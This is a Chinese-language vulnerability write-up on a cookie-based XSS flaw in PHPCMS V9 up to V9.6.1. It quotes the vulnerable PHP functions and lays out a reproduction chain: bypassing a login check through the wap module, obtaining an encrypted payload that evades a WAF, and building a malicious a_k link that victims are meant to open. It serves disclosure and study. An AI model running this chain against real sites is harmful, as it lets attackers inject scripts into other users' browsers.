一、背景

这个XSS漏洞是由于PHPCMS的cookie可以由用户控制,而在输出时又没有进行过滤所造成。而且该漏洞的payload是经过加密的,无视WAF检测。

二、漏洞详情

漏洞文件在phpcms\modules\content\down.php中的init函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
$siteids = getcache('category_content','commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_'.$siteid,'commons');
$this->category = $CATEGORYS[$catid];
$this->category_setting = string2array($this->category['setting']);
//检查文章会员组权限
$groupids_view = '';
if ($rs['groupids_view']) $groupids_view = explode(',', $rs['groupids_view']);
if($groupids_view && is_array($groupids_view)) {
$_groupid = param::get_cookie('_groupid');
$_groupid = intval($_groupid);
if(!$_groupid) {
$forward = urlencode(get_url());
showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward);
}
if(!in_array($_groupid,$groupids_view)) showmessage(L('no_priv'));
} else {
//根据栏目访问权限判断权限
$_priv_data = $this->_category_priv($catid);
if($_priv_data=='-1') {
$forward = urlencode(get_url());
showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward);
} elseif($_priv_data=='-2') {
showmessage(L('no_priv'));
}
}
//阅读收费 类型
$paytype = $rs['paytype'];
$readpoint = $rs['readpoint'];
if($readpoint || $this->category_setting['defaultchargepoint']) {
if(!$readpoint) {
$readpoint = $this->category_setting['defaultchargepoint'];
$paytype = $this->category_setting['paytype'];
}
//检查是否支付过
$allow_visitor = self::_check_payment($catid.'_'.$id,$paytype,$catid);
if(!$allow_visitor) {
$http_referer = urlencode(get_url());
$allow_visitor = sys_auth($catid.'_'.$id.'|'.$readpoint.'|'.$paytype).'&http_referer='.$http_referer;
} else {
$allow_visitor = 1;
}
}
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
include template('content','download');
}

看该函数的最后一行引入了模版文件。再看模版文件里的内容:

1
2
3
4
5
6
<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=7" />
<title><?php echo $catname;?>- 下载频道_详情页</title>

模版文件中很简单的将变量的值填充进去,如果我们能控制这些值就可以达到xss的目的。再回到init()函数,我们看到函数的开头从$_GET中获取a_k的值,经过解密后使用parse_str注册了变量。payload就是由此处传入,再看可以构造出payload的地方:phpcms\modules\attachment\attachments.php中的swfupload_json函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}

可以看到$arr的值是可以由我们控制的,那么只要我们在这里传如payload,然后该函数就会把payload加密后再设置为cookie返回回来。由此我们就可以得到加密后的payload。但是由于在attachments类的构造函数中会检查用户是否登录,所以我们为了方便还要先访问一下wap模块生成userid,以绕过登录检测(无论wap模块是否开启都可以生成)。

三、验证

  1. 访问wap模块获得cookie值:XXX_siteid

    1
    http://127.0.0.1/index.php?m=wap&c=index&siteid=1
  2. 访问attachment模块获得cookie值:XXX_att_json(userid_flash的值是由第一步得到的)

    1
    2
    URL: 127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3D1%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26catname%3D%253C%252ftitle%253E%253Cscript%253Ealert%25281%2529%253B%253C%252fscript%253E%253Ctitle%253E%26
    POST: userid_flash=f631g3wR9zEIAPVBul-pHNt8FiwJinnnRH-NwIJ9
  3. 访问content模块触发漏洞(a_k的值是由第二步得到的)

    1
    127.0.0.1/index.php?m=content&c=down&a_k=4ee9GvW3Ioad2Tqr9pYHoOdv9FSbuHJAFLSGnrZtA6m0Du2qebVx3ZJ1JDDfLY3PKECyB3ot9W7dWz8xZ9jXHNbTGMr_tbSH39hmWytxgaIkfCe3RNMFhlM8bCMMG6VGM7dSaGY5AGohtKZux15poTC36ak3zkYgzDsvBdASYGBS7-aScCmDEb1kWQ69H7J_r_C48qiByr7uvSmEG2SqbxTXNu1MJw0DB-SN4GrVh2Bb1ILf
  4. 只要其他人访问了步骤3中的url即可中招

四、影响范围

PHPCMS V9 所有子版本(包括最近更新的V9.6.1)